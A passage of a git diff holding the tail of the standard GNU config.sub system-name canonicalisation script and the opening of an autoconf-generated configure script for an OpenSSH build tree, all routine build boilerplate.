-sun[234]* | \ + -unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \ + -convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\ + -c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \ + -harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \ + -apple | -axis) + os= + basic_machine=$1 + ;; + -sim | -cisco | -oki | -wec | -winbond) + os= + basic_machine=$1 + ;; + -scout) + ;; + -wrs) + os=-vxworks + basic_machine=$1 + ;; + -hiux*) + os=-hiuxwe2 + ;; + -sco5) + os=-sco3.2v5 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco4) + os=-sco3.2v4 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco3.2.[4-9]*) + os=`echo $os | sed -e 's/sco3.2./sco3.2v/'` + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco3.2v[4-9]*) + # Don't forget version if it is 3.2v4 or newer. + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco*) + os=-sco3.2v2 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -udk*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -isc) + os=-isc2.2 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -clix*) + basic_machine=clipper-intergraph + ;; + -isc*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -lynx*) + os=-lynxos + ;; + -ptx*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'` + ;; + -windowsnt*) + os=`echo $os | sed -e 's/windowsnt/winnt/'` + ;; + -psos*) + os=-psos + ;; + -mint | -mint[0-9]*) + basic_machine=m68k-atari + os=-mint + ;; +esac + +# Decode aliases for certain CPU-COMPANY combinations. +case $basic_machine in + # Recognize the basic CPU types without company name. + # Some are omitted here because they have special meanings below. + tahoe | i860 | ia64 | m32r | m68k | m68000 | m88k | ns32k | arc | arm \ + | arme[lb] | pyramid | mn10200 | mn10300 | tron | a29k \ + | 580 | i960 | h8300 \ + | x86 | ppcbe | mipsbe | mipsle | shbe | shle | armbe | armle \ + | hppa | hppa1.0 | hppa1.1 | hppa2.0 | hppa2.0w | hppa2.0n \ + | hppa64 \ + | alpha | alphaev[4-8] | alphaev56 | alphapca5[67] \ + | alphaev6[78] \ + | we32k | ns16k | clipper | i370 | sh | powerpc | powerpcle \ + | 1750a | dsp16xx | pdp11 | mips16 | mips64 | mipsel | mips64el \ + | mips64orion | mips64orionel | mipstx39 | mipstx39el \ + | mips64vr4300 | mips64vr4300el | mips64vr4100 | mips64vr4100el \ + | mips64vr5000 | miprs64vr5000el | mcore \ + | sparc | sparclet | sparclite | sparc64 | sparcv9 | v850 | c4x \ + | thumb | d10v | fr30 | avr) + basic_machine=$basic_machine-unknown + ;; + m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | z8k | v70 | h8500 | w65 | pj | pjl) + ;; + + # We use `pc' rather than `unknown' + # because (1) that's what they normally are, and + # (2) the word "unknown" tends to confuse beginning users. + i[34567]86) + basic_machine=$basic_machine-pc + ;; + # Object if more than one company name word. + *-*-*) + echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 + exit 1 + ;; + # Recognize the basic CPU types with company name. + # FIXME: clean up the formatting here. + vax-* | tahoe-* | i[34567]86-* | i860-* | ia64-* | m32r-* | m68k-* | m68000-* \ + | m88k-* | sparc-* | ns32k-* | fx80-* | arc-* | arm-* | c[123]* \ + | mips-* | pyramid-* | tron-* | a29k-* | romp-* | rs6000-* \ + | power-* | none-* | 580-* | cray2-* | h8300-* | h8500-* | i960-* \ + | xmp-* | ymp-* \ + | x86-* | ppcbe-* | mipsbe-* | mipsle-* | shbe-* | shle-* | armbe-* | armle-* \ + | hppa-* | hppa1.0-* | hppa1.1-* | hppa2.0-* | hppa2.0w-* \ + | hppa2.0n-* | hppa64-* \ + | alpha-* | alphaev[4-8]-* | alphaev56-* | alphapca5[67]-* \ + | alphaev6[78]-* \ + | we32k-* | cydra-* | ns16k-* | pn-* | np1-* | xps100-* \ + | clipper-* | orion-* \ + | sparclite-* | pdp11-* | sh-* | powerpc-* | powerpcle-* \ + | sparc64-* | sparcv9-* | sparc86x-* | mips16-* | mips64-* | mipsel-* \ + | mips64el-* | mips64orion-* | mips64orionel-* \ + | mips64vr4100-* | mips64vr4100el-* | mips64vr4300-* | mips64vr4300el-* \ + | mipstx39-* | mipstx39el-* | mcore-* \ + | f301-* | armv*-* | s390-* | sv1-* | t3e-* \ + | m88110-* | m680[01234]0-* | m683?2-* | m68360-* | z8k-* | d10v-* \ + | thumb-* | v850-* | d30v-* | tic30-* | c30-* | fr30-* \ + | bs2000-*) + ;; + # Recognize the various machine names and aliases which stand + # for a CPU type and a company and sometimes even an OS. + 386bsd) + basic_machine=i386-unknown + os=-bsd + ;; + 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) + basic_machine=m68000-att + ;; + 3b*) + basic_machine=we32k-att + ;; + a29khif) + basic_machine=a29k-amd + os=-udi + ;; + adobe68k) + basic_machine=m68010-adobe + os=-scout + ;; + alliant | fx80) + basic_machine=fx80-alliant + ;; + altos | altos3068) + basic_machine=m68k-altos + ;; + am29k) + basic_machine=a29k-none + os=-bsd + ;; + amdahl) + basic_machine=580-amdahl + os=-sysv + ;; + amiga | amiga-*) + basic_machine=m68k-cbm + ;; + amigaos | amigados) + basic_machine=m68k-cbm + os=-amigaos + ;; + amigaunix | amix) + basic_machine=m68k-cbm + os=-sysv4 + ;; + apollo68) + basic_machine=m68k-apollo + os=-sysv + ;; + apollo68bsd) + basic_machine=m68k-apollo + os=-bsd + ;; + aux) + basic_machine=m68k-apple + os=-aux + ;; + balance) + basic_machine=ns32k-sequent + os=-dynix + ;; + convex-c1) + basic_machine=c1-convex + os=-bsd + ;; + convex-c2) + basic_machine=c2-convex + os=-bsd + ;; + convex-c32) + basic_machine=c32-convex + os=-bsd + ;; + convex-c34) + basic_machine=c34-convex + os=-bsd + ;; + convex-c38) + basic_machine=c38-convex + os=-bsd + ;; + cray | ymp) + basic_machine=ymp-cray + os=-unicos + ;; + cray2) + basic_machine=cray2-cray + os=-unicos + ;; + [ctj]90-cray) + basic_machine=c90-cray + os=-unicos + ;; + crds | unos) + basic_machine=m68k-crds + ;; + cris | cris-* | etrax*) + basic_machine=cris-axis + ;; + da30 | da30-*) + basic_machine=m68k-da30 + ;; + decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn) + basic_machine=mips-dec + ;; + delta | 3300 | motorola-3300 | motorola-delta \ + | 3300-motorola | delta-motorola) + basic_machine=m68k-motorola + ;; + delta88) + basic_machine=m88k-motorola + os=-sysv3 + ;; + dpx20 | dpx20-*) + basic_machine=rs6000-bull + os=-bosx + ;; + dpx2* | dpx2*-bull) + basic_machine=m68k-bull + os=-sysv3 + ;; + ebmon29k) + basic_machine=a29k-amd + os=-ebmon + ;; + elxsi) + basic_machine=elxsi-elxsi + os=-bsd + ;; + encore | umax | mmax) + basic_machine=ns32k-encore + ;; + es1800 | OSE68k | ose68k | ose | OSE) + basic_machine=m68k-ericsson + os=-ose + ;; + fx2800) + basic_machine=i860-alliant + ;; + genix) + basic_machine=ns32k-ns + ;; + gmicro) + basic_machine=tron-gmicro + os=-sysv + ;; + h3050r* | hiux*) + basic_machine=hppa1.1-hitachi + os=-hiuxwe2 + ;; + h8300hms) + basic_machine=h8300-hitachi + os=-hms + ;; + h8300xray) + basic_machine=h8300-hitachi + os=-xray + ;; + h8500hms) + basic_machine=h8500-hitachi + os=-hms + ;; + harris) + basic_machine=m88k-harris + os=-sysv3 + ;; + hp300-*) + basic_machine=m68k-hp + ;; + hp300bsd) + basic_machine=m68k-hp + os=-bsd + ;; + hp300hpux) + basic_machine=m68k-hp + os=-hpux + ;; + hp3k9[0-9][0-9] | hp9[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hp9k2[0-9][0-9] | hp9k31[0-9]) + basic_machine=m68000-hp + ;; + hp9k3[2-9][0-9]) + basic_machine=m68k-hp + ;; + hp9k6[0-9][0-9] | hp6[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hp9k7[0-79][0-9] | hp7[0-79][0-9]) + basic_machine=hppa1.1-hp + ;; + hp9k78[0-9] | hp78[0-9]) + # FIXME: really hppa2.0-hp + basic_machine=hppa1.1-hp + ;; + hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) + # FIXME: really hppa2.0-hp + basic_machine=hppa1.1-hp + ;; + hp9k8[0-9][13679] | hp8[0-9][13679]) + basic_machine=hppa1.1-hp + ;; + hp9k8[0-9][0-9] | hp8[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hppa-next) + os=-nextstep3 + ;; + hppaosf) + basic_machine=hppa1.1-hp + os=-osf + ;; + hppro) + basic_machine=hppa1.1-hp + os=-proelf + ;; + i370-ibm* | ibm*) + basic_machine=i370-ibm + ;; +# I'm not sure what "Sysv32" means. Should this be sysv3.2? + i[34567]86v32) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv32 + ;; + i[34567]86v4*) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv4 + ;; + i[34567]86v) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv + ;; + i[34567]86sol2) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-solaris2 + ;; + i386mach) + basic_machine=i386-mach + os=-mach + ;; + i386-vsta | vsta) + basic_machine=i386-unknown + os=-vsta + ;; + i386-go32 | go32) + basic_machine=i386-unknown + os=-go32 + ;; + i386-mingw32 | mingw32) + basic_machine=i386-unknown + os=-mingw32 + ;; + iris | iris4d) + basic_machine=mips-sgi + case $os in + -irix*) + ;; + *) + os=-irix4 + ;; + esac + ;; + isi68 | isi) + basic_machine=m68k-isi + os=-sysv + ;; + m88k-omron*) + basic_machine=m88k-omron + ;; + magnum | m3230) + basic_machine=mips-mips + os=-sysv + ;; + merlin) + basic_machine=ns32k-utek + os=-sysv + ;; + miniframe) + basic_machine=m68000-convergent + ;; + *mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*) + basic_machine=m68k-atari + os=-mint + ;; + mipsel*-linux*) + basic_machine=mipsel-unknown + os=-linux-gnu + ;; + mips*-linux*) + basic_machine=mips-unknown + os=-linux-gnu + ;; + mips3*-*) + basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'` + ;; + mips3*) + basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown + ;; + mmix*) + basic_machine=mmix-knuth + os=-mmixware + ;; + monitor) + basic_machine=m68k-rom68k + os=-coff + ;; + msdos) + basic_machine=i386-unknown + os=-msdos + ;; + mvs) + basic_machine=i370-ibm + os=-mvs + ;; + ncr3000) + basic_machine=i486-ncr + os=-sysv4 + ;; + netbsd386) + basic_machine=i386-unknown + os=-netbsd + ;; + netwinder) + basic_machine=armv4l-rebel + os=-linux + ;; + news | news700 | news800 | news900) + basic_machine=m68k-sony + os=-newsos + ;; + news1000) + basic_machine=m68030-sony + os=-newsos + ;; + news-3600 | risc-news) + basic_machine=mips-sony + os=-newsos + ;; + necv70) + basic_machine=v70-nec + os=-sysv + ;; + next | m*-next ) + basic_machine=m68k-next + case $os in + -nextstep* ) + ;; + -ns2*) + os=-nextstep2 + ;; + *) + os=-nextstep3 + ;; + esac + ;; + nh3000) + basic_machine=m68k-harris + os=-cxux + ;; + nh[45]000) + basic_machine=m88k-harris + os=-cxux + ;; + nindy960) + basic_machine=i960-intel + os=-nindy + ;; + mon960) + basic_machine=i960-intel + os=-mon960 + ;; + np1) + basic_machine=np1-gould + ;; + nsr-tandem) + basic_machine=nsr-tandem + ;; + op50n-* | op60c-*) + basic_machine=hppa1.1-oki + os=-proelf + ;; + OSE68000 | ose68000) + basic_machine=m68000-ericsson + os=-ose + ;; + os68k) + basic_machine=m68k-none + os=-os68k + ;; + pa-hitachi) + basic_machine=hppa1.1-hitachi + os=-hiuxwe2 + ;; + paragon) + basic_machine=i860-intel + os=-osf + ;; + pbd) + basic_machine=sparc-tti + ;; + pbb) + basic_machine=m68k-tti + ;; + pc532 | pc532-*) + basic_machine=ns32k-pc532 + ;; + pentium | p5 | k5 | k6 | nexen) + basic_machine=i586-pc + ;; + pentiumpro | p6 | 6x86 | athlon) + basic_machine=i686-pc + ;; + pentiumii | pentium2) + basic_machine=i786-pc + ;; + pentium-* | p5-* | k5-* | k6-* | nexen-*) + basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentiumpro-* | p6-* | 6x86-* | athlon-*) + basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentiumii-* | pentium2-*) + basic_machine=i786-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pn) + basic_machine=pn-gould + ;; + power) basic_machine=rs6000-ibm + ;; + ppc) basic_machine=powerpc-unknown + ;; + ppc-*) basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ppcle | powerpclittle | ppc-le | powerpc-little) + basic_machine=powerpcle-unknown + ;; + ppcle-* | powerpclittle-*) + basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ps2) + basic_machine=i386-ibm + ;; + rom68k) + basic_machine=m68k-rom68k + os=-coff + ;; + rm[46]00) + basic_machine=mips-siemens + ;; + rtpc | rtpc-*) + basic_machine=romp-ibm + ;; + sa29200) + basic_machine=a29k-amd + os=-udi + ;; + sequent) + basic_machine=i386-sequent + ;; + sh) + basic_machine=sh-hitachi + os=-hms + ;; + sparclite-wrs) + basic_machine=sparclite-wrs + os=-vxworks + ;; + sps7) + basic_machine=m68k-bull + os=-sysv2 + ;; + spur) + basic_machine=spur-unknown + ;; + st2000) + basic_machine=m68k-tandem + ;; + stratus) + basic_machine=i860-stratus + os=-sysv4 + ;; + sun2) + basic_machine=m68000-sun + ;; + sun2os3) + basic_machine=m68000-sun + os=-sunos3 + ;; + sun2os4) + basic_machine=m68000-sun + os=-sunos4 + ;; + sun3os3) + basic_machine=m68k-sun + os=-sunos3 + ;; + sun3os4) + basic_machine=m68k-sun + os=-sunos4 + ;; + sun4os3) + basic_machine=sparc-sun + os=-sunos3 + ;; + sun4os4) + basic_machine=sparc-sun + os=-sunos4 + ;; + sun4sol2) + basic_machine=sparc-sun + os=-solaris2 + ;; + sun3 | sun3-*) + basic_machine=m68k-sun + ;; + sun4) + basic_machine=sparc-sun + ;; + sun386 | sun386i | roadrunner) + basic_machine=i386-sun + ;; + sv1) + basic_machine=sv1-cray + os=-unicos + ;; + symmetry) + basic_machine=i386-sequent + os=-dynix + ;; + t3e) + basic_machine=t3e-cray + os=-unicos + ;; + tx39) + basic_machine=mipstx39-unknown + ;; + tx39el) + basic_machine=mipstx39el-unknown + ;; + tower | tower-32) + basic_machine=m68k-ncr + ;; + udi29k) + basic_machine=a29k-amd + os=-udi + ;; + ultra3) + basic_machine=a29k-nyu + os=-sym1 + ;; + v810 | necv810) + basic_machine=v810-nec + os=-none + ;; + vaxv) + basic_machine=vax-dec + os=-sysv + ;; + vms) + basic_machine=vax-dec + os=-vms + ;; + vpp*|vx|vx-*) + basic_machine=f301-fujitsu + ;; + vxworks960) + basic_machine=i960-wrs + os=-vxworks + ;; + vxworks68) + basic_machine=m68k-wrs + os=-vxworks + ;; + vxworks29k) + basic_machine=a29k-wrs + os=-vxworks + ;; + w65*) + basic_machine=w65-wdc + os=-none + ;; + w89k-*) + basic_machine=hppa1.1-winbond + os=-proelf + ;; + xmp) + basic_machine=xmp-cray + os=-unicos + ;; + xps | xps100) + basic_machine=xps100-honeywell + ;; + z8k-*-coff) + basic_machine=z8k-unknown + os=-sim + ;; + none) + basic_machine=none-none + os=-none + ;; + +# Here we handle the default manufacturer of certain CPU types. It is in +# some cases the only manufacturer, in others, it is the most popular. + w89k) + basic_machine=hppa1.1-winbond + ;; + op50n) + basic_machine=hppa1.1-oki + ;; + op60c) + basic_machine=hppa1.1-oki + ;; + mips) + if [ x$os = x-linux-gnu ]; then + basic_machine=mips-unknown + else + basic_machine=mips-mips + fi + ;; + romp) + basic_machine=romp-ibm + ;; + rs6000) + basic_machine=rs6000-ibm + ;; + vax) + basic_machine=vax-dec + ;; + pdp11) + basic_machine=pdp11-dec + ;; + we32k) + basic_machine=we32k-att + ;; + sparc | sparcv9) + basic_machine=sparc-sun + ;; + cydra) + basic_machine=cydra-cydrome + ;; + orion) + basic_machine=orion-highlevel + ;; + orion105) + basic_machine=clipper-highlevel + ;; + mac | mpw | mac-mpw) + basic_machine=m68k-apple + ;; + pmac | pmac-mpw) + basic_machine=powerpc-apple + ;; + c4x*) + basic_machine=c4x-none + os=-coff + ;; + *) + echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 + exit 1 + ;; +esac + +# Here we canonicalize certain aliases for manufacturers. +case $basic_machine in + *-digital*) + basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'` + ;; + *-commodore*) + basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'` + ;; + *) + ;; +esac + +# Decode manufacturer-specific aliases for certain operating systems. + +if [ x"$os" != x"" ] +then +case $os in + # First match some system type aliases + # that might get confused with valid system types. + # -solaris* is a basic system type, with this one exception. + -solaris1 | -solaris1.*) + os=`echo $os | sed -e 's|solaris1|sunos4|'` + ;; + -solaris) + os=-solaris2 + ;; + -svr4*) + os=-sysv4 + ;; + -unixware*) + os=-sysv4.2uw + ;; + -gnu/linux*) + os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'` + ;; + # First accept the basic system types. + # The portable systems comes first. + # Each alternative MUST END IN A *, to match a version number. + # -sysv* is not here because it comes later, after sysvr4. + -gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \ + | -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[34]*\ + | -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \ + | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \ + | -aos* \ + | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \ + | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \ + | -hiux* | -386bsd* | -netbsd* | -openbsd* | -freebsd* | -riscix* \ + | -lynxos* | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \ + | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \ + | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \ + | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \ + | -mingw32* | -linux-gnu* | -uxpv* | -beos* | -mpeix* | -udk* \ + | -interix* | -uwin* | -rhapsody* | -darwin* | -opened* \ + | -openstep* | -oskit*) + # Remember, each alternative MUST END IN *, to match a version number. + ;; + -qnx*) + case $basic_machine in + x86-* | i[34567]86-*) + ;; + *) + os=-nto$os + ;; + esac + ;; + -nto*) + os=-nto-qnx + ;; + -sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \ + | -windows* | -osx | -abug | -netware* | -os9* | -beos* \ + | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*) + ;; + -mac*) + os=`echo $os | sed -e 's|mac|macos|'` + ;; + -linux*) + os=`echo $os | sed -e 's|linux|linux-gnu|'` + ;; + -sunos5*) + os=`echo $os | sed -e 's|sunos5|solaris2|'` + ;; + -sunos6*) + os=`echo $os | sed -e 's|sunos6|solaris3|'` + ;; + -opened*) + os=-openedition + ;; + -wince*) + os=-wince + ;; + -osfrose*) + os=-osfrose + ;; + -osf*) + os=-osf + ;; + -utek*) + os=-bsd + ;; + -dynix*) + os=-bsd + ;; + -acis*) + os=-aos + ;; + -386bsd) + os=-bsd + ;; + -ctix* | -uts*) + os=-sysv + ;; + -ns2 ) + os=-nextstep2 + ;; + -nsk) + os=-nsk + ;; + # Preserve the version number of sinix5. + -sinix5.*) + os=`echo $os | sed -e 's|sinix|sysv|'` + ;; + -sinix*) + os=-sysv4 + ;; + -triton*) + os=-sysv3 + ;; + -oss*) + os=-sysv3 + ;; + -svr4) + os=-sysv4 + ;; + -svr3) + os=-sysv3 + ;; + -sysvr4) + os=-sysv4 + ;; + # This must come after -sysvr4. + -sysv*) + ;; + -ose*) + os=-ose + ;; + -es1800*) + os=-ose + ;; + -xenix) + os=-xenix + ;; + -*mint | -*MiNT) + os=-mint + ;; + -none) + ;; + *) + # Get rid of the `-' at the beginning of $os. + os=`echo $os | sed 's/[^-]*-//'` + echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2 + exit 1 + ;; +esac +else + +# Here we handle the default operating systems that come with various machines. +# The value should be what the vendor currently ships out the door with their +# machine or put another way, the most popular os provided with the machine. + +# Note that if you're going to try to match "-MANUFACTURER" here (say, +# "-sun"), then you have to tell the case statement up towards the top +# that MANUFACTURER isn't an operating system. Otherwise, code above +# will signal an error saying that MANUFACTURER isn't an operating +# system, and we'll never get to this point. + +case $basic_machine in + *-acorn) + os=-riscix1.2 + ;; + arm*-rebel) + os=-linux + ;; + arm*-semi) + os=-aout + ;; + pdp11-*) + os=-none + ;; + *-dec | vax-*) + os=-ultrix4.2 + ;; + m68*-apollo) + os=-domain + ;; + i386-sun) + os=-sunos4.0.2 + ;; + m68000-sun) + os=-sunos3 + # This also exists in the configure program, but was not the + # default. + # os=-sunos4 + ;; + m68*-cisco) + os=-aout + ;; + mips*-cisco) + os=-elf + ;; + mips*-*) + os=-elf + ;; + *-tti) # must be before sparc entry or we get the wrong os. + os=-sysv3 + ;; + sparc-* | *-sun) + os=-sunos4.1.1 + ;; + *-be) + os=-beos + ;; + *-ibm) + os=-aix + ;; + *-wec) + os=-proelf + ;; + *-winbond) + os=-proelf + ;; + *-oki) + os=-proelf + ;; + *-hp) + os=-hpux + ;; + *-hitachi) + os=-hiux + ;; + i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent) + os=-sysv + ;; + *-cbm) + os=-amigaos + ;; + *-dg) + os=-dgux + ;; + *-dolphin) + os=-sysv3 + ;; + m68k-ccur) + os=-rtu + ;; + m88k-omron*) + os=-luna + ;; + *-next ) + os=-nextstep + ;; + *-sequent) + os=-ptx + ;; + *-crds) + os=-unos + ;; + *-ns) + os=-genix + ;; + i370-*) + os=-mvs + ;; + *-next) + os=-nextstep3 + ;; + *-gould) + os=-sysv + ;; + *-highlevel) + os=-bsd + ;; + *-encore) + os=-bsd + ;; + *-sgi) + os=-irix + ;; + *-siemens) + os=-sysv4 + ;; + *-masscomp) + os=-rtu + ;; + f301-fujitsu) + os=-uxpv + ;; + *-rom68k) + os=-coff + ;; + *-*bug) + os=-coff + ;; + *-apple) + os=-macos + ;; + *-atari*) + os=-mint + ;; + *) + os=-none + ;; +esac +fi + +# Here we handle the case where we know the os, and the CPU type, but not the +# manufacturer. We pick the logical manufacturer. +vendor=unknown +case $basic_machine in + *-unknown) + case $os in + -riscix*) + vendor=acorn + ;; + -sunos*) + vendor=sun + ;; + -aix*) + vendor=ibm + ;; + -beos*) + vendor=be + ;; + -hpux*) + vendor=hp + ;; + -mpeix*) + vendor=hp + ;; + -hiux*) + vendor=hitachi + ;; + -unos*) + vendor=crds + ;; + -dgux*) + vendor=dg + ;; + -luna*) + vendor=omron + ;; + -genix*) + vendor=ns + ;; + -mvs* | -opened*) + vendor=ibm + ;; + -ptx*) + vendor=sequent + ;; + -vxsim* | -vxworks*) + vendor=wrs + ;; + -aux*) + vendor=apple + ;; + -hms*) + vendor=hitachi + ;; + -mpw* | -macos*) + vendor=apple + ;; + -*mint | -*MiNT) + vendor=atari + ;; + esac + basic_machine=`echo $basic_machine | sed "s/unknown/$vendor/"` + ;; +esac + +echo $basic_machine$os +exit 0 + +# Local variables: +# eval: (add-hook 'write-file-hooks 'time-stamp) +# time-stamp-start: "version='" +# time-stamp-format: "%:y-%02m-%02d" +# time-stamp-end: "'" +# End: diff --git a/other/openssh-reverse/configure b/other/openssh-reverse/configure new file mode 100755 index 0000000..4382488 --- /dev/null +++ b/other/openssh-reverse/configure @@ -0,0 +1,6694 @@ +#! /bin/sh + +# Guess values for system-dependent variables and create Makefiles. +# Generated automatically using autoconf version 2.13 +# Copyright (C) 1992, 93, 94, 95, 96 Free Software Foundation, Inc. +# +# This configure script is free software; the Free Software Foundation +# gives unlimited permission to copy, distribute and modify it. + +# Defaults: +ac_help= +ac_default_prefix=/usr/local +# Any additions from configure.in: +ac_help="$ac_help + --with-cflags Specify additional flags to pass to compiler" +ac_help="$ac_help + --with-ldlags Specify additional flags to pass to linker" +ac_help="$ac_help + --with-libs Specify additional libraries to link with" +ac_help="$ac_help + --without-pam Disable PAM support " +ac_help="$ac_help + --with-ssl-dir=PATH Specify path to OpenSSL installation " +ac_help="$ac_help + --with-rsh=PATH Specify path to remote shell program " +ac_help="$ac_help + --with-xauth=PATH Specify path to xauth program " +ac_help="$ac_help + --with-random=FILE read randomness from FILE (default=/dev/urandom)" +ac_help="$ac_help + --with-egd-pool=FILE read randomness from EGD pool FILE (default none)" +ac_help="$ac_help + --with-catman=man|cat Install preformatted manpages[no]" +ac_help="$ac_help + --with-kerberos4=PATH Enable Kerberos 4 support" +ac_help="$ac_help + --with-afs=PATH Enable AFS support" +ac_help="$ac_help + --with-skey Enable S/Key support" +ac_help="$ac_help + --with-tcp-wrappers Enable tcpwrappers support" +ac_help="$ac_help + --with-md5-passwords Enable use of MD5 passwords" +ac_help="$ac_help + --without-shadow Disable shadow password support" +ac_help="$ac_help + --with-ipaddr-display Use ip address instead of hostname in \$DISPLAY" +ac_help="$ac_help + --with-default-path=PATH Specify default \$PATH environment for server" +ac_help="$ac_help + --with-ipv4-default Use IPv4 by connections unless '-6' specified" +ac_help="$ac_help + --with-4in6 Check for and convert IPv4 in IPv6 mapped addresses" +ac_help="$ac_help + --with-pid-dir=PATH Specify location of ssh.pid file" +ac_help="$ac_help + --disable-lastlog disable use of lastlog even if detected [no]" +ac_help="$ac_help + --disable-utmp disable use of utmp even if detected [no]" +ac_help="$ac_help + --disable-utmpx disable use of utmpx even if detected [no]" +ac_help="$ac_help + --disable-wtmp disable use of wtmp even if detected [no]" +ac_help="$ac_help + --disable-wtmpx disable use of wtmpx even if detected [no]" +ac_help="$ac_help + --disable-libutil disable use of libutil (login() etc.) [no]" +ac_help="$ac_help + --disable-pututline disable use of pututline() etc. ([uw]tmp) [no]" +ac_help="$ac_help + --disable-pututxline disable use of pututxline() etc. ([uw]tmpx) [no]" +ac_help="$ac_help + --with-lastlog=FILE|DIR specify lastlog location [common locations]" +ac_help="$ac_help + --with-entropy-timeout Specify entropy gathering command timeout (msec)" + +# Initialize some variables set by options. +# The variables have the same names as the options, with +# dashes changed to underlines. +build=NONE +cache_file=./config.cache +exec_prefix=NONE +host=NONE +no_create= +nonopt=NONE +no_recursion= +prefix=NONE +program_prefix=NONE +program_suffix=NONE +program_transform_name=s,x,x, +silent= +site= +srcdir= +target=NONE +verbose= +x_includes=NONE +x_libraries=NONE +bindir='${exec_prefix}/bin' +sbindir='${exec_prefix}/sbin' +libexecdir='${exec_prefix}/libexec' +datadir='${prefix}/share' +sysconfdir='${prefix}/etc' +sharedstatedir='${prefix}/com' +localstatedir='${prefix}/var' +libdir='${exec_prefix}/lib' +includedir='${prefix}/include' +oldincludedir='/usr/include' +infodir='${prefix}/info' +mandir='${prefix}/man' + +# Initialize some other variables. +subdirs= +MFLAGS= MAKEFLAGS= +SHELL=${CONFIG_SHELL-/bin/sh} +# Maximum number of lines to put in a shell here document. +ac_max_here_lines=12 + +ac_prev= +for ac_option +do + + # If the previous option needs an argument, assign it. + if test -n "$ac_prev"; then + eval "$ac_prev=\$ac_option" + ac_prev= + continue + fi + + case "$ac_option" in + -*=*) ac_optarg=`echo "$ac_option" | sed 's/[-_a-zA-Z0-9]*=//'` ;; + *) ac_optarg= ;; + esac + + # Accept the important Cygnus configure options, so we can diagnose typos. + + case "$ac_option" in + + -bindir | --bindir | --bindi | --bind | --bin | --bi) + ac_prev=bindir ;; + -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) + bindir="$ac_optarg" ;; + + -build | --build | --buil | --bui | --bu) + ac_prev=build ;; + -build=* | --build=* | --buil=* | --bui=* | --bu=*) + build="$ac_optarg" ;; + + -cache-file | --cache-file | --cache-fil | --cache-fi \ + | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) + ac_prev=cache_file ;; + -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ + | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) + cache_file="$ac_optarg" ;; + + -datadir | --datadir | --datadi | --datad | --data | --dat | --da) + ac_prev=datadir ;; + -datadir=* | --datadir=* | --datadi=* | --datad=* | --data=* | --dat=* \ + | --da=*) + datadir="$ac_optarg" ;; + + -disable-* | --disable-*) + ac_feature=`echo $ac_option|sed -e 's/-*disable-//'` + # Reject names that are not valid shell variable names. + if test -n "`echo $ac_feature| sed 's/[-a-zA-Z0-9_]//g'`"; then + { echo "configure: error: $ac_feature: invalid feature name" 1>&2; exit 1; } + fi + ac_feature=`echo $ac_feature| sed 's/-/_/g'` + eval "enable_${ac_feature}=no" ;; + + -enable-* | --enable-*) + ac_feature=`echo $ac_option|sed -e 's/-*enable-//' -e 's/=.*//'` + # Reject names that are not valid shell variable names. + if test -n "`echo $ac_feature| sed 's/[-_a-zA-Z0-9]//g'`"; then 